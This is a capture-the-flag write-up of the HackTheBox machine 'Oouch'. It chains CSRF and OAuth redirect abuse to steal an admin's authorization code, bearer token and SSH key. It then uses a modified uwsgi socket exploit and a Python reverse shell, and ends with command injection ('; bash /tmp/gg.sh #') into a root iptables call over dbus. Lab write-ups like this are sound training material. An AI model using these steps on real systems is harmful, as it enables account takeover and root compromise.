Oouch was a really solid box in which you had to abuse csrf to link the admin's account to yours and with this new access you can discover credentials to create an application, with this application you can allow a uri for redirections, with which you can steal the admin's code and read his ssh key through the api. from there you can ssh into the box and obtain the user flag. From there you can ssh into a docker container where there is a uwsgi.socket in /tmp you can use an exploit and get rce and get access to the dbus where you can inject into an iptable command that is being run as root.


As usual we start of with an nmap scan with the flags -sC -sV

# Nmap 7.80 scan initiated Sun Mar 15 20:05:30 2020 as: nmap -sC -sV -oA nmap
WARNING: Service had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for oouch.htb (
Host is up (0.091s latency).
Not shown: 996 closed ports
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp            49 Feb 11 18:34 project.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to
|      Logged in as ftp
|      TYPE: ASCII
|      Session bandwidth limit in byte/s is 30000
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
|_  256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
5000/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-title: Welcome to Oouch
|_Requested resource was http://oouch.htb:5000/login?next=%2F
8000/tcp open  rtsp
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/html
|     Vary: Authorization
|     <h1>Bad Request (400)</h1>
|   RTSPRequest: 
|     RTSP/1.0 400 Bad Request
|     Content-Type: text/html
|     Vary: Authorization
|     <h1>Bad Request (400)</h1>
|   SIPOptions: 
|     SIP/2.0 400 Bad Request
|     Content-Type: text/html
|     Vary: Authorization
|_    <h1>Bad Request (400)</h1>
|_http-title: Site doesn't have a title (text/html).
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)

From this we can see that there are two http servers one on port 5000 and port 8000 and ftp listing a file we can anonymously download and ssh running.

project.txt shows that there is a flask and django server, one for consumers and one for Authorization.

Flask -> Consumer
Django -> Authorization Server

port 5000 enumeration

if we go to port 5000 it wants us to login or register an account

once we register and log in we see some flask endpoints and  can gobust with the session cookie for more.

➜  ~ gobuster dir -u -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -c 'session=.eJytj01OAzEMRq-SZj1CcX4mSU-BYMECVZXjONMR0w6aZDZUvTsBrsDGnz7ZT3q-y3NZsF64yuP7XYrWQ165VpxYDvJ5YawslnUS8020VSBRX4p2mav47DdP8vQY_o974WmubcM2rzfxuv9CZV8O4o0XWq8svg4dPA3deuN6kce27dzbnOVRBsqj8Tl5NApi6KMUykWjCxHQaG-CSw5wdAZoDGhswpCDApXH4kwgFUbOCQ0GsBAVeg0FbIpBp-zRkrU6-YikgFK0hcEWVUwclY0E-cef6lbObf3gW_exykfWVDBwzBlBO3C-ZE0csiMdnTcJErrO7ZW3vye0fHwDK_J8AA.XyTvTQ.5BjxiJCUyn1b0d8jZ5W069BdJrE'
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:  
[+] Method:         GET
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] Cookies:        session=.eJytj01OAzEMRq-SZj1CcX4mSU-BYMECVZXjONMR0w6aZDZUvTsBrsDGnz7ZT3q-y3NZsF64yuP7XYrWQ165VpxYDvJ5YawslnUS8020VSBRX4p2mav47DdP8vQY_o974WmubcM2rzfxuv9CZV8O4o0XWq8svg4dPA3deuN6kce27dzbnOVRBsqj8Tl5NApi6KMUykWjCxHQaG-CSw5wdAZoDGhswpCDApXH4kwgFUbOCQ0GsBAVeg0FbIpBp-zRkrU6-YikgFK0hcEWVUwclY0E-cef6lbObf3gW_exykfWVDBwzBlBO3C-ZE0csiMdnTcJErrO7ZW3vye0fHwDK_J8AA.XyTvTQ.5BjxiJCUyn1b0d8jZ5W069BdJrE
[+] User Agent:     gobuster/3.1.0
[+] Timeout:        10s
2020/07/31 22:34:19 Starting gobuster in directory enumeration mode
/contact (Status: 200)      
/logout (Status: 302)       
/login (Status: 302)        
/register (Status: 302)     
/about (Status: 200)         
/home (Status: 200)          
/profile (Status: 200)       
/documents (Status: 200)     
/oauth (Status: 200)           
2020/07/31 22:38:21 Finished

I chose to use the /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt wordlist because I wanted something somewhat short and recently made. We can see the /oauth endpoint which if the name didn't give away is going to be the path to foothold on this machine.

Some interesting and crucial endpoints are /oauth and /contact

Contact allows us to send feedback to the system administrator, we can abuse this and have the admin make web requests through tags like <script src = <malicious_url>.

We can test this out by sending the payload.

<sCript src=> </sCript>

And we get the request

sudo nc -lvnp 80
Listening on 80
Connection received on 39620
GET /test HTTP/1.1
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

/oauth reveals this.

Notice consumer.oouch.htb and that we can connect accounts.

port 8000

since the flask consumer site is reachable at consumer.oouch.htb we can assume that the django authorizatoin site is reachable at authorization.oouch.htb. To find this we can assume like we have done, use the /oauth/connect, or we can bruteforce vhosts using gobuster or wfuzz.

Navigating to http://authorization.oouch.htb:8000/ reveals such.

We can create another account here and can assume this is what is being connected on the consumer end.

When we register an account it shows us the endpoints relevant to the operation.

In order to use what we have we first must understand how oauth works and how we can attack it, the blog post https://dhavalkapil.com/blogs/Attacking-the-OAuth-Protocol/ d gives enough information of what to do but I recommend you take a deeper dive into oauth and understand it more than just enough to complete this box.

After familiarizing ourselves with the protocol we see that we can connect the admin's account to our account on port 8000. To begin this attack we are going to need to use burp.

to complete this account connection you need to go to the endpoint /oauth/connect and capture the request with the token and then send that in the message to the admin, once you have done so you need to navigate to /oauth/login and authorize

go to /contact and send the url: http://consumer.oouch.htb:5000/oauth/connect/token?code=HqvCpor138ZL9nd0nYDuNRGZEf8Q9R

then navigate to /oauth/login and Authorize it

and now looking at /profile shows that we are qtc!

if we go to Documents we can see the things qtc has access to.

we find there is an /api/ and credentials that we can use to register an application.

since all endpoints on port 8000 start with /oauth we dirbust and find that /oauth/applications/register exists and uses the credentials found in dev_access.txt.

from here we can create a new application and add our own ip as a redirect uri make client-type to public and authorization grant type authorization-code.

Now with this new redirect uri allowed we are able to steal qtc's code and impersonate him and make api requests as him. This site also shows us how to get from a code to api access https://auth0.com/docs/api-auth/tutorials/authorization-code-grant  but first we must get his code.

Doing so is pretty simple all we need to do is make qtc's account make a request to https://provider.com/oauth/authorize?client_id=CLIENT_ID&response_type=code&redirect_uri=http://us/

where we replace the client_id with the application's.

http://authorization.oouch.htb:8000/oauth/authorize/?redirect_uri= will work in our case.

sudo nc -lvnp 80 
Listening on 80
Connection received on 49790
GET /?code=KhJ6fi3Q6yWtylRqCzQVrgcs4PN4RQ HTTP/1.1
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: sessionid=33ir3fbimtv064cbgevcwvdmm1i3bdug;

with this code we can now make another request to get the BEARER code to make requests to the api

curl --request POST   --url 'http://authorization.oouch.htb:8000/oauth/token/'   --header 'content-type: application/x-www-form-urlencoded'   --data grant_type=authorization_code   --data 'client_id=qnRsHZ30gB4amI0LAeEIC5JJiaHHHU5nwXQyZshS'   --data client_secret=rIWVxpHsdsLM2xlnH9laKI9aDrRwJR8HtHvs17yzcJtXrXAiFXJtjsgVVZVdX6UajoO8JQxzE8vZgrchCg5vLB5IDVHx60E6BXXRhqwEAB3Gsnq28A8tr38th4Gv2mfL   --data code=KhJ6fi3Q6yWtylRqCzQVrgcs4PN4RQ   --data 'redirect_uri='
{"access_token": "EgJehhLCvDShHSrVi93Q5w6SeSMib1", "expires_in": 600, "token_type": "Bearer", "scope": "read", "refresh_token": "EpT8rSmBrs0Pserf3eLUtzj8F2oL5M"}

curl request made from this https://auth0.com/docs/api-auth/tutorials/authorization-code-grant

Now we can play with the api

curl --request GET   --url authorization.oouch.htb:8000/api/endpoint  --header 'authorization: Bearer EgJehhLCvDShHSrVi93Q5w6SeSMib1'   --header 'content-type: application/json'
curl --request GET   --url authorization.oouch.htb:8000/api/get_users  --header 'authorization: Bearer EgJehhLCvDShHSrVi93Q5w6SeSMib1'   --header 'content-type: application/json'
{"username": "qtc", "firstname": "", "lastname": "", "email": "qtc@nonexistend.nonono"}

Remember in /documents that users could get an ssh key? Let's play with the api and see if we can pull anything related to that.

/api/get_ssh_key works

We can print the text in python to get the private key in the right format


and now we can ssh in as qtc and are user.

Privilege Escalation

If we run ps aux we can list the processes running and see there are two docker containers with one running the consumer and other the authorization server.

when we try to access these boxes with ssh we get into

in the root directory there is a code directory containing the source code for the consumer application and interestingly in /tmp there is a uwsgi socket.

qtc@aeb4525789d8:/code/oouch$ ls /tmp

if we look further down the code directory we can find in routes.py it banning ip addresses for xss attempt through messing with dbus.

def contact():
    The contact page is required to abuse the Oauth vulnerabilities. This endpoint allows the user to send messages using a textfield.
    The messages are scanned for valid url's and these urls are saved to a file on disk. A cronjob will view the files regulary and
    invoke requests on the corresponding urls.


        render                (Render)                  Renders the contact page.
    # First we need to load the contact form
    form = ContactForm()

    # If the form was already submitted, we process the contents
    if form.validate_on_submit():

        # First apply our primitive xss filter
        if primitive_xss.search(form.textfield.data):
            bus = dbus.SystemBus()
            block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
            block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')

            client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)  
            response = block_iface.Block(client_ip)
            return render_template('hacker.html', title='Hacker')

        # The regex defined at the beginning of this file checks for valid urls
        url = regex.search(form.textfield.data)
        if url:

            # If an url was found, we try to save it to the file /code/urls.txt
                with open("/code/urls.txt", "a") as url_file:
                    print(url.group(0), file=url_file)
                print("Error while openeing 'urls.txt'")

        # In any case, we inform the user that has message has been sent
        return render_template('contact.html', title='Contact', send=True, form=form)

    # Except the functions goes up to here. In this case, no form was submitted and we do not need to inform the user
    return render_template('contact.html', title='Contact', send=False, form=form)

But if we try to mess with dbus we get permission denied when we try to block an ip address the same way routes.py does. this means that the www-data user has privileges we need to escalate to.

if we look for exploits against uwsgi sockets we can find some chinese exploit against exposed uwsgi sockets found here https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py .

This exploit needs very slight modifications for it to run. all that is needed is to change the function sz()

def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    if sys.version_info[0] == 3: import bytes
    s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
    return s[::-1]


def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    s = bytes.fromhex(s)
    return s[::-1]

Because of the docker's limited tools to edit files I just base64'd the python exploit and echo'd into a file and base64 -d the file to transfer such.

qtc@aeb4525789d8:/tmp$ python exploit.py -m unix -u /tmp/uwsgi.socket -c "whoami > /tmp/test" 
[*]Sending payload.

qtc@aeb4525789d8:/tmp$ cat test 

it works and we can see in pspy, from here we can get a shell. We can copy the host's netcat and transfer it using the base64 method and from there get a shell as www-data. To get the shell we can upload a basic python reverse shell using the same method as before but we need to set the ip we are connecting to as because we have to listen on oouch.

qtc@aeb4525789d8:/tmp$ python exploit.py -m unix -u /tmp/uwsgi.socket -c "python /tmp/rev.py" 
[*]Sending payload.

connect to [] from (UNKNOWN) [] 57258
/bin/sh: 0: can't access tty; job control turned off

now we can try messing with dbus to see what we can do and can maybe see with pspy running.

import sys
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
response = block_iface.Block("AAAAAAA")  
2020/08/09 01:24:39 CMD: UID=0    PID=20866  | iptables -A PREROUTING -s AAAAAAA -t mangle -j DROP 

from here we can see we can inject into that iptables command which is run as root. let's wrap this up and get a shell. We can put our reverse shell command in /tmp/gg.sh call it whatever you want, doesn't matter. now in python run block_iface.Block("; bash /tmp/gg.sh #") and gg we have a shell.

And we are root.